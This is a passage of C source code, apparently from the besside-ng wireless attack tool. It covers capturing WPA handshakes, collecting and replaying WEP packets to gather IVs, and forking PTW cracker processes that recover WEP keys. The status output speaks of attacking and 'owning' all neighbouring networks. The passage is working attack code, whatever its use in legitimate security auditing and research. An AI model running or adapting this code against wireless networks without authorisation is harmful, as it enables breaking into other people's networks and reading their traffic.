get_client_mac(wh); 2143 | 2144 | if (!cmac) return (NULL); 2145 | 2146 | while (c) 2147 | { 2148 | if (memcmp(c->c_mac, cmac, 6) == 0) return (c); 2149 | 2150 | c = c->c_next; 2151 | } 2152 | 2153 | return (NULL); 2154 | } 2155 | 2156 | static struct client * client_update(struct network * n, 2157 | struct ieee80211_frame * wh) 2158 | { 2159 | REQUIRE(n != NULL); 2160 | REQUIRE(wh != NULL); 2161 | 2162 | unsigned char * cmac = get_client_mac(wh); 2163 | struct client * c; 2164 | int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; 2165 | 2166 | if (!cmac) return (NULL); 2167 | 2168 | /* let's not pwn ourselves */ 2169 | if (memcmp(cmac, _state.s_mac, sizeof(_state.s_mac)) == 0) return (NULL); 2170 | 2171 | if (cmac == wh->i_addr1) 2172 | { 2173 | if (memcmp(cmac, BROADCAST, 6) == 0) return (NULL); 2174 | 2175 | /* multicast */ 2176 | if (memcmp(cmac, "\x01\x00\x5e", 3) == 0) return (NULL); 2177 | 2178 | /* ipv6 multicast */ 2179 | if (memcmp(cmac, "\x33\x33", 2) == 0) return (NULL); 2180 | 2181 | /* MAC PAUSE */ 2182 | if (memcmp(cmac, "\x01\x80\xC2", 3) == 0) return (NULL); 2183 | 2184 | /* fuck it */ 2185 | if (cmac[0] == 0x01) return (NULL); 2186 | } 2187 | 2188 | /* here we can choose how conservative to be */ 2189 | if (type == IEEE80211_FC0_TYPE_MGT) 2190 | { 2191 | switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) 2192 | { 2193 | case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: 2194 | break; 2195 | 2196 | case IEEE80211_FC0_SUBTYPE_PROBE_RESP: 2197 | default: 2198 | return (NULL); 2199 | } 2200 | } 2201 | 2202 | c = client_get(n, wh); 2203 | if (!c) 2204 | { 2205 | c = xmalloc(sizeof(*c)); 2206 | 2207 | memset(c, 0, sizeof(*c)); 2208 | 2209 | memcpy(c->c_mac, cmac, sizeof(c->c_mac)); 2210 | c->c_next = n->n_clients.c_next; 2211 | n->n_clients.c_next = c; 2212 | 2213 | if (n->n_have_beacon 2214 | && (n->n_crypto == CRYPTO_WPA || n->n_crypto == CRYPTO_WEP)) 2215 | found_new_client(n, c); 2216 | } 2217 | 2218 | return (c); 2219 | } 2220 | 2221 | static void process_eapol(struct network * n, 2222 | struct client * c, 2223 | unsigned char * p, 2224 | int len, 2225 | struct ieee80211_frame * wh, 2226 | int totlen) 2227 | { 2228 | REQUIRE(n != NULL); 2229 | 2230 | int num, i; 2231 | 2232 | if (n->n_client_handshake) return; 2233 | 2234 | num = eapol_handshake_step(p, len); 2235 | if (num == 0) return; 2236 | 2237 | REQUIRE(c != NULL); 2238 | 2239 | /* reset... should use time, too. XXX conservative - check retry */ 2240 | if (c->c_wpa == 0 || num <= c->c_wpa) 2241 | { 2242 | for (i = 0; i < 4; i++) c->c_handshake[i].p_len = 0; 2243 | 2244 | c->c_wpa_got = 0; 2245 | } 2246 | 2247 | c->c_wpa = num; 2248 | 2249 | switch (num) 2250 | { 2251 | case 1: 2252 | c->c_wpa_got |= 1; 2253 | break; 2254 | 2255 | case 2: 2256 | c->c_wpa_got |= 2; 2257 | c->c_wpa_got |= 4; 2258 | break; 2259 | 2260 | case 3: 2261 | REQUIRE(p != NULL); 2262 | if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 1; 2263 | 2264 | c->c_wpa_got |= 4; 2265 | break; 2266 | 2267 | case 4: 2268 | REQUIRE(p != NULL); 2269 | if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 2; 2270 | 2271 | c->c_wpa_got |= 4; 2272 | break; 2273 | 2274 | default: 2275 | abort(); 2276 | } 2277 | 2278 | packet_copy(&c->c_handshake[num - 1], wh, totlen); 2279 | 2280 | time_printf(V_VERBOSE, 2281 | "Got WPA handshake step %d (have %d) for %s\n", 2282 | num, 2283 | c->c_wpa_got, 2284 | n->n_ssid); 2285 | 2286 | if (c->c_wpa_got == 7) 2287 | { 2288 | n->n_client_handshake = c; 2289 | 2290 | time_printf( 2291 | V_NORMAL, "Got necessary WPA handshake info for %s\n", n->n_ssid); 2292 | 2293 | n->n_client_mac = c; 2294 | found_mac(n); 2295 | 2296 | if (n->n_ssid[0]) 2297 | { 2298 | n->n_astate = ASTATE_WPA_CRACK; 2299 | attack_continue(n); 2300 | } 2301 | } 2302 | } 2303 | 2304 | static int is_replayable(struct ieee80211_frame * wh, int len) 2305 | { 2306 | unsigned char clear[2048]; 2307 | int dlen = len - 4 - 4; 2308 | int clearsize; 2309 | int weight[16]; 2310 | 2311 | known_clear(clear, &clearsize, weight, (void *) wh, dlen); 2312 | if (clearsize < 16) return (0); 2313 | 2314 | return (1); 2315 | } 2316 | 2317 | static void get_replayable(struct network * n, 2318 | struct ieee80211_frame * wh, 2319 | unsigned char * body, 2320 | int len) 2321 | { 2322 | if (!is_replayable(wh, len)) return; 2323 | 2324 | REQUIRE(n != NULL); 2325 | 2326 | if (n->n_replay_len) return; 2327 | 2328 | n->n_replay_got = 0; 2329 | 2330 | REQUIRE(wh != NULL); 2331 | 2332 | assert(len + sizeof(*wh) <= (int) sizeof(n->n_replay)); 2333 | 2334 | REQUIRE(body != NULL); 2335 | 2336 | memcpy(&n->n_replay[sizeof(*wh)], body, len); 2337 | n->n_replay_len = len + sizeof(*wh); 2338 | 2339 | wh = (struct ieee80211_frame *) n->n_replay; 2340 | fill_basic(n, wh); 2341 | memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1)); 2342 | memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr3)); 2343 | memcpy(wh->i_addr3, BROADCAST, sizeof(wh->i_addr3)); 2344 | 2345 | wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; 2346 | wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; 2347 | 2348 | time_printf(V_NORMAL, 2349 | "Got replayable packet for %s [len %d]\n", 2350 | n->n_ssid, 2351 | len - 4 - 4); 2352 | 2353 | if (_state.s_state == STATE_ATTACK && _state.s_curnet == n 2354 | && n->n_astate == ASTATE_WEP_PRGA_GET) 2355 | attack_continue(n); 2356 | } 2357 | 2358 | static void 2359 | check_replay(struct network * n, struct ieee80211_frame * wh, int len) 2360 | { 2361 | REQUIRE(n != NULL); 2362 | REQUIRE(wh != NULL); 2363 | 2364 | if (_state.s_state != STATE_ATTACK || _state.s_curnet != n 2365 | || n->n_astate != ASTATE_WEP_FLOOD) 2366 | return; 2367 | 2368 | if (!(wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS)) return; 2369 | 2370 | if (memcmp(wh->i_addr3, _state.s_mac, sizeof(wh->i_addr3)) != 0) return; 2371 | 2372 | if (len != (int) (n->n_replay_len - sizeof(*wh))) return; 2373 | 2374 | n->n_replay_got++; 2375 | memcpy(&n->n_replay_last, &_state.s_now, sizeof(n->n_replay_last)); 2376 | 2377 | // ack clocked 2378 | do_flood(n); 2379 | } 2380 | 2381 | static void 2382 | do_wep_crack(struct cracker * c, struct network * n, int len, int limit) 2383 | { 2384 | REQUIRE(c != NULL); 2385 | REQUIRE(n != NULL); 2386 | 2387 | unsigned char key[PTW_KEYHSBYTES]; 2388 | int(*all)[256]; 2389 | int i, j; 2390 | 2391 | all = xmalloc(256 * 32 * sizeof(int)); 2392 | 2393 | // initial setup (complete keyspace) 2394 | for (i = 0; i < 32; i++) 2395 | { 2396 | for (j = 0; j < 256; j++) all[i][j] = 1; 2397 | } 2398 | 2399 | if (PTW_computeKey(n->n_ptw, key, len, limit, PTW_DEFAULTBF, all, 0) != 1) 2400 | return; 2401 | 2402 | IGNORE_LTZ(write(c->cr_pipe[1], key, len)); 2403 | } 2404 | 2405 | static inline void crack_wep64(struct cracker * c, struct network * n) 2406 | { 2407 | do_wep_crack(c, n, 5, KEYLIMIT / 10); 2408 | } 2409 | 2410 | static inline void crack_wep128(struct cracker * c, struct network * n) 2411 | { 2412 | do_wep_crack(c, n, 13, KEYLIMIT); 2413 | } 2414 | 2415 | static void cracker_start(struct cracker * c, cracker_cb cb, struct network * n) 2416 | { 2417 | REQUIRE(c != NULL); 2418 | 2419 | if (pipe(c->cr_pipe) == -1) err(1, "pipe()"); 2420 | 2421 | c->cr_pid = fork(); 2422 | if (c->cr_pid == -1) err(1, "fork()"); 2423 | 2424 | if (c->cr_pid) 2425 | { 2426 | /* parent */ 2427 | close(c->cr_pipe[1]); 2428 | } 2429 | else 2430 | { 2431 | /* child */ 2432 | close(c->cr_pipe[0]); 2433 | cb(c, n); 2434 | exit(EXIT_SUCCESS); 2435 | } 2436 | } 2437 | 2438 | static void wep_crack_start(struct network * n) 2439 | { 2440 | REQUIRE(n != NULL); 2441 | 2442 | cracker_kill(&n->n_cracker_wep[0]); 2443 | cracker_kill(&n->n_cracker_wep[1]); 2444 | 2445 | cracker_start(&n->n_cracker_wep[0], crack_wep64, n); 2446 | cracker_start(&n->n_cracker_wep[1], crack_wep128, n); 2447 | } 2448 | 2449 | static void wep_crack(struct network * n) 2450 | { 2451 | REQUIRE(n != NULL); 2452 | 2453 | if (_state.s_state != STATE_ATTACK || _state.s_curnet != n 2454 | || n->n_astate != ASTATE_WEP_FLOOD) 2455 | { 2456 | n->n_crack_next = n->n_data_count + 1; 2457 | return; 2458 | } 2459 | 2460 | wep_crack_start(n); 2461 | 2462 | n->n_crack_next += _conf.cf_crack_int; 2463 | } 2464 | 2465 | static int ptw_add(struct network * n, 2466 | struct ieee80211_frame * wh, 2467 | unsigned char * body, 2468 | int len) 2469 | { 2470 | unsigned char clear[2048]; 2471 | int dlen = len - 4 - 4; 2472 | int clearsize; 2473 | int i, weight[16], k, j; 2474 | int rc = 0; 2475 | 2476 | k = known_clear(clear, &clearsize, weight, (void *) wh, dlen); 2477 | if (clearsize < 16) return (rc); 2478 | 2479 | for (j = 0; j < k; j++) 2480 | { 2481 | for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i]; 2482 | } 2483 | 2484 | if (!n->n_ptw) 2485 | { 2486 | n->n_ptw = PTW_newattackstate(); 2487 | if (!n->n_ptw) err(1, "PTW_newattackstate()"); 2488 | } 2489 | 2490 | if (PTW_addsession(n->n_ptw, body, clear, weight, k)) 2491 | { 2492 | speed_add(&n->n_flood_in); 2493 | n->n_data_count++; 2494 | rc = 1; 2495 | } 2496 | 2497 | if (n->n_data_count == n->n_crack_next) wep_crack(n); 2498 | 2499 | return (rc); 2500 | } 2501 | 2502 | static void ptw_free(struct network * n) 2503 | { 2504 | REQUIRE(n != NULL); 2505 | 2506 | if (n->n_ptw) 2507 | { 2508 | PTW_freeattackstate(n->n_ptw); 2509 | n->n_ptw = NULL; 2510 | } 2511 | } 2512 | 2513 | static void wifi_data(struct network * n, struct ieee80211_frame * wh, int len) 2514 | { 2515 | REQUIRE(n != NULL); 2516 | REQUIRE(wh != NULL); 2517 | 2518 | unsigned char * p = (unsigned char *) (wh + 1); 2519 | struct llc * llc; 2520 | int wep = wh->i_fc[1] & IEEE80211_FC1_WEP; 2521 | int eapol = 0; 2522 | struct client * c; 2523 | int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; 2524 | int orig = len; 2525 | 2526 | len -= sizeof(*wh); 2527 | 2528 | if (stype == IEEE80211_FC0_SUBTYPE_QOS) 2529 | { 2530 | p += 2; 2531 | len -= 2; 2532 | } 2533 | 2534 | if (!wep && len >= 8) 2535 | { 2536 | llc = (struct llc *) p; 2537 | 2538 | eapol = memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8) == 0; 2539 | 2540 | p += 8; 2541 | len -= 8; 2542 | } 2543 | 2544 | if (!wep && !eapol) return; 2545 | 2546 | if (!n->n_have_beacon) 2547 | { 2548 | n->n_chan = _state.s_chan; 2549 | n->n_crypto = eapol ? CRYPTO_WPA : CRYPTO_WEP; 2550 | 2551 | /* XXX */ 2552 | if (n->n_crypto == CRYPTO_WEP && p[3] != 0) n->n_crypto = CRYPTO_WPA; 2553 | } 2554 | 2555 | if (eapol) 2556 | { 2557 | c = client_get(n, wh); 2558 | 2559 | /* c can be null if using our MAC (e.g., VAPs) */ 2560 | if (c) process_eapol(n, c, p, len, wh, orig); 2561 | return; 2562 | } 2563 | 2564 | if (n->n_crypto != CRYPTO_WEP) 2565 | { 2566 | ptw_free(n); 2567 | return; 2568 | } 2569 | 2570 | if (len < (4 + 4)) return; 2571 | 2572 | if (n->n_astate == ASTATE_DONE) return; 2573 | 2574 | get_replayable(n, wh, p, len); 2575 | 2576 | check_replay(n, wh, len); 2577 | 2578 | if (ptw_add(n, wh, p, len)) 2579 | { 2580 | if (n->n_have_beacon && !n->n_beacon_wrote) 2581 | { 2582 | packet_write_pcap(_state.s_wepfd, &n->n_beacon); 2583 | 2584 | n->n_beacon_wrote = 1; 2585 | } 2586 | 2587 | write_pcap(_state.s_wepfd, wh, orig); 2588 | } 2589 | } 2590 | 2591 | static struct network * network_update(struct ieee80211_frame * wh) 2592 | { 2593 | REQUIRE(wh != NULL); 2594 | 2595 | struct network * n; 2596 | struct client * c = NULL; 2597 | unsigned char * bssid; 2598 | int fromnet; 2599 | 2600 | bssid = get_bssid(wh); 2601 | if (!bssid) return (NULL); 2602 | 2603 | n = network_get(wh); 2604 | if (!n) n = network_add(wh); 2605 | 2606 | ALLEGE(n != NULL); 2607 | 2608 | if ((fromnet = (memcmp(wh->i_addr2, bssid, sizeof(wh->i_addr2)) == 0))) 2609 | n->n_dbm = _state.s_ri->ri_power; 2610 | 2611 | c = client_update(n, wh); 2612 | if (c && !fromnet) c->c_dbm = _state.s_ri->ri_power; 2613 | 2614 | return (n); 2615 | } 2616 | 2617 | static void wifi_read(void) 2618 | { 2619 | struct state * s = &_state; 2620 | unsigned char buf[2048]; 2621 | int rd; 2622 | struct rx_info ri; 2623 | struct ieee80211_frame * wh = (struct ieee80211_frame *) buf; 2624 | struct network * n; 2625 | 2626 | memset(buf, 0, sizeof(buf)); 2627 | 2628 | rd = wi_read(s->s_wi, NULL, NULL, buf, sizeof(buf), &ri); 2629 | if (rd < 0) err(1, "wi_read()"); 2630 | 2631 | if (rd < (int) sizeof(struct ieee80211_frame)) 2632 | { 2633 | return; 2634 | } 2635 | 2636 | s->s_ri = &ri; 2637 | 2638 | n = network_update(wh); 2639 | 2640 | switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) 2641 | { 2642 | case IEEE80211_FC0_TYPE_MGT: 2643 | wifi_mgt(n, wh, rd); 2644 | break; 2645 | 2646 | case IEEE80211_FC0_TYPE_CTL: 2647 | wifi_ctl(wh, rd); 2648 | break; 2649 | 2650 | case IEEE80211_FC0_TYPE_DATA: 2651 | wifi_data(n, wh, rd); 2652 | break; 2653 | 2654 | default: 2655 | printf("Unknown type %d\n", wh->i_fc[0]); 2656 | } 2657 | } 2658 | 2659 | static const char * astate2str(int astate) 2660 | { 2661 | static char num[16]; 2662 | static const char * states[] = {"NONE", 2663 | "PING", 2664 | "READY", 2665 | "DEAUTH", 2666 | "WPA_CRACK", 2667 | "GET REPLAY", 2668 | "FLOOD", 2669 | "NONE", 2670 | "DONE"}; 2671 | 2672 | if (astate >= (int) ArrayCount(states)) 2673 | { 2674 | snprintf(num, sizeof(num), "%d", astate); 2675 | return (num); 2676 | } 2677 | 2678 | return (states[astate]); 2679 | } 2680 | 2681 | static const char * wstate2str(int astate) 2682 | { 2683 | static char num[16]; 2684 | static const char * states[] = {"NONE", "AUTH", "ASSOC"}; 2685 | 2686 | if (astate >= (int) ArrayCount(states)) 2687 | { 2688 | snprintf(num, sizeof(num), "%d", astate); 2689 | return (num); 2690 | } 2691 | 2692 | return (states[astate]); 2693 | } 2694 | 2695 | static void print_status(int advance) 2696 | { 2697 | static const char status[] = "|/-|/-\\"; 2698 | static const char * statusp = status; 2699 | struct network * n = _state.s_curnet; 2700 | struct client * c; 2701 | int ccount = 0; 2702 | 2703 | time_printf(V_NORMAL, "%c", *statusp); 2704 | 2705 | switch (_state.s_state) 2706 | { 2707 | case STATE_SCAN: 2708 | printf(" Scanning chan %.2d", _state.s_chan); 2709 | break; 2710 | 2711 | case STATE_ATTACK: 2712 | printf(" Attacking [%s] %s - %s", 2713 | n->n_ssid, 2714 | n->n_crypto == CRYPTO_WPA ? "WPA" : "WEP", 2715 | astate2str(n->n_astate)); 2716 | 2717 | if (need_connect(n) && n->n_wstate != WSTATE_ASSOC) 2718 | printf(" [conn: %s]", wstate2str(n->n_wstate)); 2719 | 2720 | switch (n->n_astate) 2721 | { 2722 | case ASTATE_WEP_FLOOD: 2723 | if (n->n_cracker_wep[0].cr_pid 2724 | || n->n_cracker_wep[1].cr_pid) 2725 | printf(" cracking"); 2726 | 2727 | speed_calculate(&n->n_flood_in); 2728 | speed_calculate(&n->n_flood_out); 2729 | 2730 | printf(" - %d IVs rate %u [%u PPS out] len %d", 2731 | n->n_data_count, 2732 | n->n_flood_in.s_speed, 2733 | n->n_flood_out.s_speed, 2734 | (int) (n->n_replay_len 2735 | - sizeof(struct ieee80211_frame) 2736 | - 4 2737 | - 4)); 2738 | break; 2739 | 2740 | case ASTATE_DEAUTH: 2741 | c = n->n_clients.c_next; 2742 | while (c) 2743 | { 2744 | ccount++; 2745 | 2746 | c = c->c_next; 2747 | } 2748 | 2749 | if (ccount) printf(" (know %d clients)", ccount); 2750 | break; 2751 | } 2752 | 2753 | break; 2754 | } 2755 | 2756 | printf("\r"); 2757 | fflush(stdout); 2758 | 2759 | if (advance) statusp++; 2760 | 2761 | if (statusp >= (&status[sizeof(status) - 1])) statusp = status; 2762 | } 2763 | 2764 | static void make_progress(void) 2765 | { 2766 | if (_state.s_state == STATE_SCAN && _state.s_hopcycles > 2) 2767 | { 2768 | print_work(); 2769 | attack_next(); 2770 | _state.s_hopcycles = 0; 2771 | } 2772 | } 2773 | 2774 | static void cracker_check(struct network * n, struct cracker * c) 2775 | { 2776 | REQUIRE(c != NULL); 2777 | 2778 | unsigned char buf[1024]; 2779 | int rc; 2780 | 2781 | rc = read(c->cr_pipe[0], buf, sizeof(buf)); 2782 | if (rc <= 0) 2783 | { 2784 | cracker_kill(c); 2785 | return; 2786 | } 2787 | 2788 | ALLEGE(rc <= (int) sizeof(n->n_key)); 2789 | 2790 | memcpy(n->n_key, buf, rc); 2791 | n->n_key_len = rc; 2792 | 2793 | time_printf(V_NORMAL, "Got key for %s [", n->n_ssid); 2794 | print_hex(n->n_key, n->n_key_len); 2795 | printf("] %d IVs\n", n->n_data_count); 2796 | 2797 | cracker_kill(&n->n_cracker_wep[0]); 2798 | cracker_kill(&n->n_cracker_wep[1]); 2799 | 2800 | n->n_astate = ASTATE_DONE; 2801 | ptw_free(n); 2802 | attack_continue(n); 2803 | } 2804 | 2805 | static int add_cracker_fds(fd_set * fds, int max) 2806 | { 2807 | struct network * n; 2808 | int i; 2809 | 2810 | if (_state.s_state != STATE_ATTACK) return (max); 2811 | 2812 | n = _state.s_curnet; 2813 | 2814 | for (i = 0; i < 2; i++) 2815 | { 2816 | struct cracker * c = &n->n_cracker_wep[i]; 2817 | 2818 | if (c->cr_pipe[0]) 2819 | { 2820 | FD_SET(c->cr_pipe[0], fds); 2821 | 2822 | if (c->cr_pipe[0] > max) max = c->cr_pipe[0]; 2823 | } 2824 | } 2825 | 2826 | return (max); 2827 | } 2828 | 2829 | static void check_cracker_fds(fd_set * fds) 2830 | { 2831 | struct network * n; 2832 | struct cracker * c; 2833 | int i; 2834 | 2835 | if (_state.s_state != STATE_ATTACK) return; 2836 | 2837 | n = _state.s_curnet; 2838 | 2839 | for (i = 0; i < 2; i++) 2840 | { 2841 | c = &n->n_cracker_wep[i]; 2842 | 2843 | if (c->cr_pipe[0] && FD_ISSET(c->cr_pipe[0], fds)) cracker_check(n, c); 2844 | } 2845 | } 2846 | 2847 | static inline char * strip_spaces(char * p) 2848 | { 2849 | REQUIRE(p != NULL); 2850 | 2851 | char * x; 2852 | 2853 | while (*p == ' ') p++; 2854 | 2855 | x = p + strlen(p) - 1; 2856 | while (x >= p && *x == ' ') *x-- = 0; 2857 | 2858 | return (p); 2859 | } 2860 | 2861 | static int parse_hex(unsigned char * out, char * in, int l) 2862 | { 2863 | REQUIRE(out != NULL); 2864 | 2865 | int len = 0; 2866 | 2867 | while (in) 2868 | { 2869 | char * p = strchr(in, ':'); 2870 | int x; 2871 | 2872 | if (--l < 0) err(1, "parse_hex len"); 2873 | 2874 | if (p) *p++ = 0; 2875 | 2876 | if (sscanf(in, "%x", &x) != 1) errx(1, "parse_hex()"); 2877 | 2878 | *out++ = (unsigned char) x; 2879 | len++; 2880 | 2881 | in = p; 2882 | } 2883 | 2884 | return (len); 2885 | } 2886 | 2887 | static void resume_network(char * buf) 2888 | { 2889 | REQUIRE(buf != NULL); 2890 | 2891 | char *p = buf, *p2; 2892 | int state = 0; 2893 | struct network * n; 2894 | 2895 | if (buf[0] == '#') return; 2896 | 2897 | n = network_new(); 2898 | 2899 | while (1) 2900 | { 2901 | p2 = strchr(p, '|'); 2902 | 2903 | if (!p2) 2904 | { 2905 | p2 = strchr(p, '\n'); 2906 | if (!p2) break; 2907 | } 2908 | 2909 | *p2++ = 0; 2910 | 2911 | p = strip_spaces(p); 2912 | 2913 | switch (state) 2914 | { 2915 | /* ssid */ 2916 | case 0: 2917 | strncpy(n->n_ssid, p, sizeof(n->n_ssid)); 2918 | (n->n_ssid)[sizeof(n->n_ssid) - 1] = '\0'; 2919 | break; 2920 | 2921 | /* key */ 2922 | case 1: 2923 | if (strstr(p, "handshake")) 2924 | { 2925 | n->n_crypto = CRYPTO_WPA; 2926 | n->n_client_handshake = (void *) 0xbad; 2927 | } 2928 | else if (strchr(p, ':')) 2929 | { 2930 | n->n_crypto = CRYPTO_WEP; 2931 | 2932 | n->n_key_len = parse_hex(n->n_key, p, sizeof(n->n_key)); 2933 | } 2934 | 2935 | if (n->n_crypto != CRYPTO_NONE) 2936 | { 2937 | n->n_have_beacon = 1; 2938 | n->n_astate = ASTATE_DONE; 2939 | } 2940 | break; 2941 | 2942 | /* bssid */ 2943 | case 2: 2944 | parse_hex(n->n_bssid, p, sizeof(n->n_bssid)); 2945 | break; 2946 | 2947 | case 3: 2948 | if (*p) 2949 | { 2950 | struct client * c = xmalloc(sizeof(*c)); 2951 | 2952 | memset(c, 0, sizeof(*c)); 2953 | 2954 | parse_hex(c->c_mac, p, sizeof(c->c_mac)); 2955 | 2956 | n->n_client_mac = c; 2957 | n->n_got_mac = 1; 2958 | } 2959 | break; 2960 | } 2961 | 2962 | state++; 2963 | p = p2; 2964 | } 2965 | 2966 | if (n->n_astate != ASTATE_DONE) 2967 | { 2968 | free(n); 2969 | return; 2970 | } 2971 | 2972 | do_network_add(n); 2973 | 2974 | network_print(n); 2975 | } 2976 | 2977 | static void resume(void) 2978 | { 2979 | FILE * f; 2980 | char buf[4096]; 2981 | 2982 | f = fopen(_conf.cf_log, "r"); 2983 | if (!f) return; 2984 | 2985 | time_printf(V_NORMAL, "Resuming from %s\n", _conf.cf_log); 2986 | 2987 | while (fgets(buf, sizeof(buf), f)) resume_network(buf); 2988 | 2989 | fclose(f); 2990 | } 2991 | 2992 | static void cleanup(int UNUSED(x)) 2993 | { 2994 | struct state * s = &_state; 2995 | struct network * n; 2996 | 2997 | printf("\nDying...\n"); 2998 | 2999 | wi_close(s->s_wi); 3000 | 3001 | if (_state.s_state == STATE_ATTACK) 3002 | { 3003 | n = _state.s_curnet; 3004 | ALLEGE(n); 3005 | cracker_kill(&n->n_cracker_wep[0]); 3006 | cracker_kill(&n->n_cracker_wep[1]); 3007 | } 3008 | 3009 | if (_state.s_wpafd) close(_state.s_wpafd); 3010 | 3011 | if (_state.s_wepfd) close(_state.s_wepfd); 3012 | 3013 | print_work(); 3014 | 3015 | exit(EXIT_SUCCESS); 3016 | } 3017 | 3018 | static void pwn(void) 3019 | { 3020 | struct state * s = &_state; 3021 | struct timeval tv; 3022 | fd_set fds; 3023 | int wifd, max, rc; 3024 | 3025 | if (!(s->s_wi = wi_open(_conf.cf_ifname))) err(1, "wi_open()"); 3026 | 3027 | if (wi_get_mac(s->s_wi, _state.s_mac) == -1) err(1, "wi_get_mac()"); 3028 | 3029 | gettimeofday(&_state.s_now, NULL); 3030 | memcpy(&_state.s_start, &_state.s_now, sizeof(_state.s_start)); 3031 | 3032 | wifd = wi_fd(s->s_wi); 3033 | max = wifd; 3034 | 3035 | char * mac = mac2string(_state.s_mac); 3036 | ALLEGE(mac != NULL); 3037 | time_printf(V_VERBOSE, "mac %s\n", mac); 3038 | free(mac); 3039 | time_printf(V_NORMAL, "Let's ride\n"); 3040 | 3041 | if (_conf.cf_autochan) 3042 | autodetect_channels(); 3043 | 3044 | if (wi_set_channel(s->s_wi, _state.s_chan) == -1) 3045 | err(1, "wi_set_channel()"); 3046 | 3047 | resume(); 3048 | 3049 | _state.s_wpafd = open_pcap(_conf.cf_wpa); 3050 | _state.s_wepfd = open_pcap(_conf.cf_wep); 3051 | 3052 | save_log(); 3053 | time_printf(V_NORMAL, "Logging to %s\n", _conf.cf_log); 3054 | 3055 | scan_start(); 3056 | 3057 | while (s->s_state != STATE_DONE) 3058 | { 3059 | timer_next(&tv); 3060 | 3061 | FD_ZERO(&fds); 3062 | FD_SET(wifd, &fds); 3063 | 3064 | max = add_cracker_fds(&fds, max); 3065 | 3066 | if ((rc = select(max + 1, &fds, NULL, NULL, &tv)) == -1 3067 | && errno != EINTR) 3068 | err(1, "select()"); 3069 | 3070 | gettimeofday(&_state.s_now, NULL); 3071 | 3072 | check_cracker_fds(&fds); 3073 | 3074 | print_status(FD_ISSET(wifd, &fds)); 3075 | 3076 | if (FD_ISSET(wifd, &fds)) wifi_read(); 3077 | 3078 | timer_check(); 3079 | 3080 | make_progress(); 3081 | } 3082 | 3083 | time_printf(V_NORMAL, "All neighbors owned\n"); 3084 | 3085 | cleanup(EXIT_SUCCESS); 3086 | } 3087 | 3088 | static void channel_add(int num) 3089 | { 3090 | struct channel * c = xmalloc(sizeof(*c)); 3091 | struct channel * pos = _conf.cf_channels.c_next; 3092 | 3093 | while (pos->c_next != _conf.cf_channels.c_next) pos = pos->c_next; 3094 | 3095 | memset(c, 0, sizeof(*c)); 3096 | 3097 | pos->c_next = c; 3098 | 3099 | c->c_num = num; 3100 | c->c_next = _conf.cf_channels.c_next; 3101 | } 3102 | 3103 | static void autodetect_freq(int start, int end, int incr) 3104 | { 3105 | int freq; 3106 | int chan; 3107 | 3108 | for (freq = start; freq <= end; freq += incr) 3109 | { 3110 | if (wi_set_freq(_state.s_wi, freq) == 0) 3111 | { 3112 | chan = wi_get_channel(_state.s_wi); 3113 | channel_add(chan); 3114 | time_printf(V_VERBOSE, "Found channel %d on frequency %d\n", chan, freq); 3115 | } 3116 | else 3117 | { 3118 | time_printf(V_VERBOSE, "No channel found on frequency %d\n", freq); 3119 | } 3120 | } 3121 | } 3122 | 3123 | static void autodetect_channels(void) 3124 | { 3125 | time_printf(V_NORMAL, "Autodetecting all channels supported on the interface...\n"); 3126 | // Autodetect supported 2GHz channels 3127 | autodetect_freq(2412, 2472, 5); // 1-13 3128 | autodetect_freq(2484, 2484, 1); // 14 3129 | 3130 | // Autodetect supported 5GHz channels 3131 | autodetect_freq(5180, 5320, 10); // 36-64 3132 | autodetect_freq(5500, 5720, 10); // 100-144 3133 | autodetect_freq(5745, 5805, 10); // 149-161 3134 | autodetect_freq(5825, 5825, 1); // 165 3135 | } 3136 | 3137 | static void init_conf(void) 3138 | { 3139 | _conf.cf_channels.c_next = &_conf.cf_channels; 3140 | _conf.cf_autochan = 1; 3141 | 3142 | _state.s_hopchan = _conf.cf_channels.c_next; 3143 | 3144 | _conf.cf_hopfreq = 250; 3145 | _conf.cf_deauthfreq = 2000; 3146 | _conf.cf_attackwait = 10; 3147 | _conf.cf_floodwait = 60; 3148 | _conf.cf_to = 100; 3149 | _conf.cf_floodfreq = 10 * 1000; 3150 | _conf.cf_crack_int = 5000; 3151 | _conf.cf_wpa = "/tmp/wpa.cap"; 3152 | _conf.cf_wep = "/tmp/wep.cap"; 3153 | _conf.cf_log = "/tmp/besside.log"; 3154 | _conf.cf_do_wep = 1; 3155 | _conf.cf_do_wpa = 1; 3156 | } 3157 | 3158 | static const char * timer_cb2str(timer_cb cb) 3159 | { 3160 | if (cb == hop) 3161 | return ("hop"); 3162 | else if (cb == attack_watchdog) 3163 | return ("attack_watchdog"); 3164 | else if (cb == deauth) 3165 | return ("deauth"); 3166 | else 3167 | return ("UNKNOWN"); 3168 | } 3169 | 3170 | static void print_state_network(struct network * n) 3171 | { 3172 | REQUIRE(n != NULL); 3173 | 3174 | struct client * c = n->n_clients.c_next; 3175 | 3176 | char * mac_bssid = mac2string(n->n_bssid); 3177 | ALLEGE(mac_bssid != NULL); 3178 | printf("Network: [%s] chan %d bssid %s astate %d dbm %d" 3179 | " have_beacon %d crypto %d", 3180 | n->n_ssid, 3181 | n->n_chan, 3182 | mac_bssid, 3183 | n->n_astate, 3184 | n->n_dbm, 3185 | n->n_have_beacon, 3186 | n->n_crypto); 3187 | free(mac_bssid); 3188 | 3189 | if (n->n_key_len) 3190 | { 3191 | printf(" KEY ["); 3192 | print_hex(n->n_key, n->n_key_len); 3193 | printf("]"); 3194 | } 3195 | 3196 | printf("\n"); 3197 | 3198 | while (c) 3199 | { 3200 | char * mac = mac2string(c->c_mac); 3201 | ALLEGE(mac != NULL); 3202 | printf("\tClient: %s wpa_got %d dbm %d\n", mac, c->c_wpa_got, c->c_dbm); 3203 | 